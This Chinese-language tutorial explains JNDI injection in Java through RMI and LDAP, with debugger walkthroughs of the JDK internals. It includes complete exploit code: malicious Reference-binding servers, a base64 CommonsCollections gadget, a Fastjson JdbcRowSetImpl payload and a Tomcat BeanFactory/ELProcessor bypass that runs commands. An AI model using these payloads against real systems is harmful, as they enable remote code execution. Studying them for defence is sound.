JNDI注入
JNDI 介绍
JNDI(Java Naming and Directory Interface) 是 Java 提供的一套用于访问命名服务和目录服务的统一接口。它允许 Java 应用通过统一的 API 与不同类型的命名或目录服务进行交互,例如 LDAP、RMI、DNS、CORBA 等。
JNDI 本身并不是一个具体的服务实现,而是一个 抽象接口层。通过不同的服务提供者(Service Provider Interface,SPI),JNDI 可以访问各种后端命名服务。
其基本作用类似于一种 资源查找机制:应用程序可以通过名称(Name)来查找对应的对象(Object),从而获取远程资源或服务。


SPI(Service Provider Interface,服务供应接口)是 JNDI 中的一个关键组件,主要作用是为底层的具体目录服务提供统一的接入接口,从而实现目录服务的可插拔式安装。通过 SPI,不同的目录服务实现可以无缝集成到 JNDI 架构中,而无需修改应用层代码。
具体实现不同协议的访问逻辑,例如:
- RMI Java 远程方法调用;
- LDAP 轻量级目录访问协议;
- DNS 域名服务
- NIS 集中管理系统配置信息的目录服务
- CORBA 通用对象请求代理架构,用于 COS 名称服务
但是jdk默认支持的就是RMI LDAP DNS CORBA
命名服务(Naming Server)是一种通过名称查找实际对象的服务。例如,RMI协议可以通过名称查找并调用远程对象,DNS协议则通过域名查找对应的IP地址。这些服务都属于命名服务。
在命名服务中,有几个关键概念:
Bindings:表示名称与对象之间的绑定关系。例如,在DNS中,域名与IP地址绑定;在RMI中,远程对象与名称绑定;在文件系统中,文件名与文件内容绑定。
Context:上下文表示一组名称到对象的绑定关系。一个上下文可以用于查找对应的对象,例如在文件系统中,一个目录就是上下文,可以在其中查找文件,子目录也可以看作子上下文(SubContext)。
References:对于无法直接存储的对象,它们通常通过引用的形式存储,类似于C/C++中的指针。引用包含获取实际对象所需的信息。例如,在文件系统中,通过文件描述符(fd)来引用文件,内核使用该引用找到磁盘中的文件
目录服务(Directory Service)是命名服务的扩展。除了名称到对象的映射,目录服务还允许对象具有属性(Attributes)。因此,目录服务不仅支持根据名称查找对象并获取其属性,还支持根据属性值进行搜索。
一些常见的目录服务包括:
- LDAP:轻型目录访问协议
- Active Directory:为Windows域网络设计,提供多个目录服务,如域名服务和证书服务
- 其他基于X.500标准实现的目录服务
是jdk默认支持的SPI就是RMI LDAP DNS CORBA
现在看rmi
JDNI 结合 RMI
RMI 原生漏洞
先把服务写好吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.util.Hashtable;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();//创建上下文
initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
//把地址和对象的名字创建一个远程对象,绑定到创建好的上下文上
}
}1
2
3
4
5
6
7
8
9
10
11
package org.example;
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}JNDI和RMI无非就是 先绑定 再访问,本质就是用的RMI
只不过JNDI需要在lookup的时候自己写url
我们来跟一下:
断点打在


再进lookup

最后到了这个文件
RegistryContext里面
然后走
this.registry.lookup就是RMI原生的lookup
调用不同协议,Context不同,RegistryContext就是RMI的Context
到这里引出来一个问题:

当remoteObj可控,也就是说对象可控的话,那么我们就可以通过这个url访问到恶意服务
JNDI 注入漏洞
先明白一个概念 目录存储对象(上面提到过)
可存储的 对象的类型:

而我们这里说到的JNDI 注入漏洞,主要是利用的第二点 引用
在 Java 的 JNDI 设计中,如果一个对象无法直接序列化存储在目录服务(如 LDAP、RMI)中,可以使用 javax.naming.Reference 类来表示。
原理:引用 对应着 工厂,在 引用 中写具体逻辑,感觉和代理差不多
攻击
先看
JNDIRMIServer相当于用 Reference 代理了远程对象,Reference 实例化时传参是将 Reference 对象绑定到了注册中心
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18package org.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.Reference; import java.util.Hashtable; public class JNDIRMIServer { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); InitialContext initialContext = new InitialContext(); // initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl()); Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj", refObj); } }刚刚绑定的是远程对象,现在绑定的是
Reference(引用)可以看一下
Reference的构造函数1
2
3
4
5public Reference(String className, String factory, String factoryLocation) { this(className); classFactory = factory; classFactoryLocation = factoryLocation; }className:类名
factory:工厂—————>作用:为了 让存储在目录服务中的
Reference能动态生成复杂的对象,相当于上面说的,在Reference中写具体逻辑factoryLocation:工厂位置
写一个测试类,在7777端口启动
注意:需要把 package 去掉,再进行编译,因为服务目录下是没有包目录的
1
2
3
4
5
6
7import java.io.IOException; public class TestRef { public TestRef() throws IOException { Runtime.getRuntime().exec("calc"); } }
就可以将
引用绑定到RMI服务上面启动服务端,然后再客户端在lookup一下

也就是说,恶意地址里面有恶意类,导致JNDI客户端查询lookup的是时候就会产生危害
内部调试
接下来我们看一下内部具体的流程
断点还是在这

按照上面的流程走到了
RegistryContext文件看一下参数

发现从
Reference变成了ReferenceWrapper_Stub一开始在服务端绑定的
Reference,到客户端就改变了所以就是服务端的操作对这个名称造成了影响

还是到
RegistryContext文件
名字还是之前那个,但是对象发生了
encodeObject进
encodeObject
逻辑中表示:如果对象是
Reference,就把他变成ReferenceWrapper
接下来继续看到
decodeObject
看
decodeObject
意思是,如果是
ReferenceWrapper,就获取值
接下来进到文件
NamingManager.java这个类是一个通用的类这个地方进到 工厂,从引用路径里面获取对象工厂

接下来就是要通过类加载来寻找这个工厂类了
按照双亲委派寻找
先本地查找(appclassloader)

接下来利用
codebase
新建
urlclassloader把codebase传入
使用url路径加载工厂类
因为我们的TestRef使用方法触发
1
2
3
4
5
6
7import java.io.IOException; public class TestRef { public TestRef() throws IOException { Runtime.getRuntime().exec("calc"); } }所以还需要 实例化工厂类 才会弹出计算器(因为是方法需要实例化,要是静态代码块就不用)

小结

- 存在JNDI服务,且有rmi请求的地址(rmi://localhost:1099)
- 不走rmi请求的地址,我们走自己
伪造的地址(rmi://evil.com:1099)(2) - 伪造地址返回
引用对象(3) - 根据
引用对象提供的伪造的地址,利用类加载 搜索恶意.class(4) - 返回执行
恶意.class(5)
JDNI 结合 LDAP
JDNI +LDAP绕过
jkd有过一次修复,加了一个参数叫做trustURLCodebase,需要手动运行调整,这个参数是true才能真正实现 从引用路径里面获取对象工厂,否则报错
三个支持远程对象的服务 :修复了RMI CORBA ,只留下了ldap
LDAP 介绍
LDAP(轻量级目录访问协议)专门用于存储用户信息、组织结构或网络资源。在 JNDI 的语境下,它就是一个存放“对象”的仓库。且属于目录服务,是一个特殊的数据库
攻击
JNDILDAPServer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20package org.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.Reference; import java.util.Hashtable; public class JNDILDAPServer { public static void main(String[] args) throws Exception { // Hashtable env = new Hashtable(); // env.put(Context.INITIAL_CONTEXT_FACTORY, // "com.sun.jndi.ldap.LdapCtxFactory"); // env.put(Context.PROVIDER_URL, // "ldap://localhost:10389"); InitialContext initialContext = new InitialContext(); Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/"); initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", refObj); } }服务端就用一个工具起服务
启动服务端成功绑定

或者跑命令行
1
2
3
4
5
6
7
8
9# 1. 克隆代码到本地 git clone https://github.com/mbechler/marshalsec.git # 2. 进入项目目录 cd marshalsec # 3. 使用 Maven 编译生成可执行的 jar 包 mvn clean package -DskipTests # 4. 开启服务 cd C:\Users\95227\marshalsec\target D:\Java\jdk1.8.0_65\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#TestRef" 10389联通7777的Testref.class

客户端直接查
1
2
3
4
5
6
7
8import javax.naming.InitialContext; public class JNDILDAPClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com"); } }

内部调试

和rmi一样跳到Context文件,最后走到
LdapCtx文件
这一步的参数
Attributes,就是所获取要的属性
接下来解析属性
(前面说过目录存储对象 可存储的 对象的类型:包含多种)
由于我们用的是引用,所以到了
decodeReference方法
进
decodeReference方法和上面提到的rmi一样,这个方法都是为了还原
Reference通过Reference来利用url查找恶意类到了
DirectoryManager(和上面rmi的NamingManager一样)
然后类加载到恶意类

实例化触发
JavaSerializedData 注入
利用 InMemoryOperationInterceptor 动态拦截 LDAP 请求并返回恶意数据。
当客户端通过 lookup 拿到结果时,会自动检查 Entry(条目)里的属性名。如果属性名是 javaSerializedData,JNDI客户端会立即调用 ObjectInputStream.readObject(),将 序列化好的 Java 对象,通过反序列化还原
攻击
导入cc链子和fastjson
1
2
3
4
5
6
7
8
9
10<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.80</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>恶意服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95package org.example; import com.unboundid.util.Base64; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException; public class JNDIGadgetServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://vps:8000/#ExportObject"; int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor(URL cb) { this.codebase = cb; } @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } // Payload1: 利用LDAP+Reference Factory // e.addAttribute("javaCodeBase", cbstring); // e.addAttribute("objectClass", "javaNamingReference"); // e.addAttribute("javaFactory", this.codebase.getRef()); // Payload2: 返回序列化Gadget try { e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=")); } catch (ParseException exception) { exception.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }客户端触发
lookup参数注入触发
1
2
3
4
5
6
7
8
9
10
11
12
13package org.example; import javax.naming.Context; import javax.naming.InitialContext; public class JNDIGadgetClient { public static void main(String[] args) throws Exception { // lookup参数注入触发 Context context = new InitialContext(); context.lookup("ldap://localhost:1234/ExportObject"); } }Fastjson反序列化JNDI注入Gadget触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14package org.example; import com.alibaba.fastjson.JSON; import javax.naming.Context; import javax.naming.InitialContext; public class JNDIGadgetClient { public static void main(String[] args) throws Exception { // Fastjson反序列化JNDI注入Gadget触发 String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }"; JSON.parse(payload); } }
内部调试
现在我们来调试一下lookup参数注入触发

从
decodeObject()开始看(上面提到过,在LdapCtx文件里面)
进到
decodeObject()方法里面看到一个getURLClassLoader()
往下走,进入到
trustURLCodebase的判断,我们之前说过,这里默认就是 false,所以没跳进去,无法进行 URLClassLoader 的实例化。但是这个地方其实我们已经获取到字节码了,只是不实例化就无法加载,也就无法命令执行。
我们继续往下走,有一个
deserializeObject()字面意思就是用来反序列化的方法

这里被反序列化的东西,是一个
javaSerializedData数据类型的类。
内部逻辑的反系列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { try { ByteArrayInputStream var2 = new ByteArrayInputStream(var0); try (Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1)) { Object var5 = ((ObjectInputStream)var20).readObject(); //出现了反序列化 return var5; } catch (ClassNotFoundException var18) { NamingException var4 = new NamingException(); var4.setRootCause(var18); throw var4; } } catch (IOException var19) { NamingException var3 = new NamingException(); var3.setRootCause(var19); throw var3; } }
对比RMI&LDAP
都支持 Reference 注入但是
LDAP 的限制直到 JDK 8u191 才开启,RMI 的远程类加载限制在 JDK 6u141/7u131/8u121开启
Reference 注入:通过
NamingManager触发远程类加载。两者一样JavaSerializedData 注入:LDAP 允许在属性中直接存储序列化后的字节码。当客户端
lookup时,会自动触发反序列化。如果目标环境中存在脆弱的 Gadget(如 CommonsCollections),即使关闭了远程类加载,依然可以实现 RCE。(
Reference注入(下载.class文件)会被trustURLCodebase配置拦住。但javaSerializedData注入 绕过了这个限制)
绕过高版本 jdk 的攻击
jdk8u121 < < jdk8u191
就是我们上面说的 ldap 的 JNDI 漏洞,其实这也无关 ldap。通过 RMI 也是可以打的,这也就是 JNDI 通用漏洞,原因是可以动态加载字节码,分析过程和上面是一样的,也有断点,这里就不赘述了
看一下对于jdk8u191之后的版本对比一下更新点:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 旧版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
// 新版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
//更新点在这,在使用 URLClassLoader 加载器加载远程类之前加了个if语句检测
//根据 trustURLCodebase的值是否为true 的值来进行判断,它的值默认为 false。通俗的来说,jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true 这一手段,让我们无法加载 codebase,也就是无法让我们进行 URLClassLoader 的攻击了。这个在前面也说过了
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}jdk8u191 之后
先从本地进行加载,再从 codebase 进行加载,但是从 codecase 中加载类时,不同于 RMI 在 RegistryContext 的修复在这里是 loadClass 添加了 trustURLCodebase 进行修复,是 true 的时候才允许从远端进行加载。它走到获得引用对象那里都是 ok 的,只是不允许远程从工厂位置加载类。说明引用对象还是可以利用的。
攻击方式是:利用本地恶意 Class 作为Reference Factory
跟一下,走到了类加载

加的if就是我们上面提到的 trustURLCodebase的值是否为true 的值来进行判断
绕过手法一
利用本地恶意 Class 作为 Reference Factory,本地加载工厂对象,执行工厂对象的恶意方法
要想本地加载工厂对象,我们直接找
ObjectFactory接口的实现类找依赖优先找最常见的,最终选择 tomcat 的 org.apache.naming.factory.BeanFactory 调用了BeanFactory. getObjectInstance
而且只有javax.el.ELProcessor#eval 和 groovy.lang.GroovyShel1#evaluate可以符合BeanFactory的调用条件(只传一个String类型的参数)
看一下
BeanFactory逻辑
主要是这里,通过反射实现
参数可控就可以执行我们自己的代码
这里我们以rmi为例吧:
先导入tomcat依赖
1
2
3
4
5
6
7
8
9
10<dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.73</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.73</version> </dependency>先启动
RMIServer打开注册中心1
2
3
4
5
6
7
8
9
10
11
12
13
14
15package org.example; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws RemoteException , AlreadyBoundException { IRemoteObj remoteObj = new RemoteObjImpl();//在服务端创建远程对象,实现与客户端通讯 Registry r= LocateRegistry.createRegistry(1099);//注册中心(1099为固定端口) // r.bind("remoteObj", remoteObj);//绑定服务,命名为“remoteObj“ } }JNDIRMIServerBypass1
2
3
4
5
6
7
8
9
10
11
12
13
14import javax.naming.InitialContext; import javax.naming.StringRefAddr; import javax.naming.spi.ResourceRef; public class JNDIRMIServerBypass { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));//弹计算器 initialContext.rebind("rmi://localhost:1099/remoteObj", ref); } }RMIClient访问lookup即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16package org.example; import javax.naming.InitialContext; import javax.naming.NamingException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://localhost:1099/remoteObj"); } }
成功
我们来调试一手

跟前面一样吗,我们直接跳到改动点

这是我们写的那个类

接下来类加载

成功加载到类名
加载到工厂

实例化创建

接下来创建完成后得到
BeanFactory对象
调用
BeanFactory,getObjectInstance传值(我们构造的)接下来就是到最关键的反射调用使用
invoke
就是在
bean是反射调用valueArray的值
valueArray就是我们传的eval

最后就弹出了计算器
绕过手法二
利用 LDAP 返回序列化数据,触发本地 Gadget
就是我们在前面提到的
JavaSerializedData 注入
总结:
JNDI使用原生JDK,不需要其他依赖,后续高版本需要cc依赖来绕过
编译
TestRef.java时,千万不要给它加package如果你的类定义了
package org.example;,那么它的全名就是org.example.TestRef。当它从Reference中解析出类名是org.example.TestRef,且 codebase 是http://localhost:7777/时,JVM 会尝试访问http://localhost:7777/org/example/TestRef.class。如果你只是把TestRef.class放在 7777 端口的根目录下,HTTP 服务器会报错jndi攻击 ,在服务不同的时候,主要看的是
NamingManager.java这个通用的类,不是看Context不同的协议(LDAP、RMI、DNS)有不同的
Context实现,它们的职责主要是“网络通信”和“获取原始数据”。NamingManager 是 JNDI SPI(服务提供者接口)的标准实现,只要 Java 官方没有在
NamingManager里增加安全检查(如后来的trustURLCodebase开关),那么所有的Context只要支持Reference,就都存在被注入的风险。对于高版本的JNDI,可以使用 本地加载工厂 实现绕过
也可以搭配使用 LDAP直接返回一个序列化的对象,JNDI检测到javaSerializedData它会认为这是一个序列化的 Java 对象。客户端会自动调用
ObjectInputStream.readObject()来还原这个对象。从而实现反序列化
参考文章:

